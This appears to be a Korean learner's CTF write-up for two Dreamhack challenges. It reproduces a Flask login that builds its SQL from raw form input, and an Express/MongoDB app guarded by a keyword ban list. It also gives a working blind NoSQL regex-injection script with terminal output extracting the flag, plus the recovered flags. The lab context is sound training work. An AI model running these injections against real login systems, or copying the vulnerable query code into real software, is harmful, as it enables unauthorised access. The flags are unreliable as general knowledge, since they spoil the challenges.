Simple_sqli, mango

권민준

Simple_sqli

2025-08-12

```python
#!/usr/bin/python3
from flask import Flask, request, render_template, g
import sqlite3
import os
import binascii

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'

DATABASE = "database.db"
if os.path.exists(DATABASE) == False:
    db = sqlite3.connect(DATABASE)
    db.execute('create table users(userid char(100), userpassword char(100));')
    db.execute(f'insert into users(userid, userpassword) values ("guest", "guest"), ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}");')
    db.commit()
    db.close()

def get_db():
    db = getattr(g, '_database', None)
    if db is None:
        db = g._database = sqlite3.connect(DATABASE)
    db.row_factory = sqlite3.Row
    return db

def query_db(query, one=True):
    cur = get_db().execute(query)
    rv = cur.fetchall()
    cur.close()
    return (rv[0] if rv else None) if one else rv

@app.teardown_appcontext
def close_connection(exception):
    db = getattr(g, '_database', None)
    if db is not None:
        db.close()

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    else:
        userid = request.form.get('userid')
        userpassword = request.form.get('userpassword')
        res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')
        if res:
            userid = res[0]
            if userid == 'admin':
                return f'hello {userid} flag is {FLAG}'
            return f'<script>alert("hello {userid}");history.go(-1);</script>'
        return '<script>alert("wrong");history.go(-1);</script>'

app.run(host='0.0.0.0', port=8000)
```

2025-08-12

Simple_sqli

hello admin flag is DH{c1126c8d35d8deaa39c5dd6fc8855ed0}

Mongo

2025-08-12

```
const express = require('express');
const app = express();

const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;

// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];

filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })
});

app.get('/', function(req, res) {
    res.send('/login?uid=guest&upw=guest');
});

app.listen(8000, '0.0.0.0');

```

Mongo

2025-08-12

```python
import requests, string

HOST = 'http://host8.dreamhack.games:11524'
ALPHANUMERIC = string.digits + string.ascii_letters
SUCCESS = 'admin'

flag = ''

for i in range(32):
    for ch in ALPHANUMERIC:
        response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
        if response.text == SUCCESS:
            flag += ch
            break

    print(f'FLAG: DH{{{flag}}}')
```

```
root@kali: ~
File  Actions  Edit  View  Help
┌──(root㉿kali)-[~]
└─# python3 --version
Python 3.13.3

┌──(root㉿kali)-[~]
└─# pip3 --version
pip 25.1.1 from /usr/lib/python3/dist-packages/pip (python 3.13)

┌──(root㉿kali)-[~]
└─# touch mango.py

┌──(root㉿kali)-[~]
└─# vim mango.py

┌──(root㉿kali)-[~]
└─# python3 mango.py
  File "/root/mango.py", line 17
    print('DH{' + flag)
                       ^
IndentationError: unindent does not match any outer indentation level

┌──(root㉿kali)-[~]
└─# vim mango.py

┌──(root㉿kali)-[~]
└─# python3 mango.py
  File "/root/mango.py", line 17
    print('DH{' + flag)
                       ^
IndentationError: unindent does not match any outer indentation level

┌──(root㉿kali)-[~]
└─# vim mango.py

┌──(root㉿kali)-[~]
└─# python3 mango.py
FLAG: DH{8}
FLAG: DH{89}
FLAG: DH{89e}
FLAG: DH{89e5}
FLAG: DH{89e50}
FLAG: DH{89e50f}
FLAG: DH{89e50fa}
FLAG: DH{89e50fa6}
FLAG: DH{89e50fa6f}
FLAG: DH{89e50fa6fa}
FLAG: DH{89e50fa6faf}
FLAG: DH{89e50fa6fafe}
FLAG: DH{89e50fa6fafe2}
FLAG: DH{89e50fa6fafe26}
FLAG: DH{89e50fa6fafe260}
FLAG: DH{89e50fa6fafe2604}
FLAG: DH{89e50fa6fafe2604e}
FLAG: DH{89e50fa6fafe2604e3}
FLAG: DH{89e50fa6fafe2604e33}
FLAG: DH{89e50fa6fafe2604e33c}
FLAG: DH{89e50fa6fafe2604e33c0}
FLAG: DH{89e50fa6fafe2604e33c0b}
FLAG: DH{89e50fa6fafe2604e33c0ba}
FLAG: DH{89e50fa6fafe2604e33c0ba0}
FLAG: DH{89e50fa6fafe2604e33c0ba05}
FLAG: DH{89e50fa6fafe2604e33c0ba058}
FLAG: DH{89e50fa6fafe2604e33c0ba0584}
FLAG: DH{89e50fa6fafe2604e33c0ba05843}
FLAG: DH{89e50fa6fafe2604e33c0ba05843d}
FLAG: DH{89e50fa6fafe2604e33c0ba05843d3}
FLAG: DH{89e50fa6fafe2604e33c0ba05843d3d}
FLAG: DH{89e50fa6fafe2604e33c0ba05843d3df}
```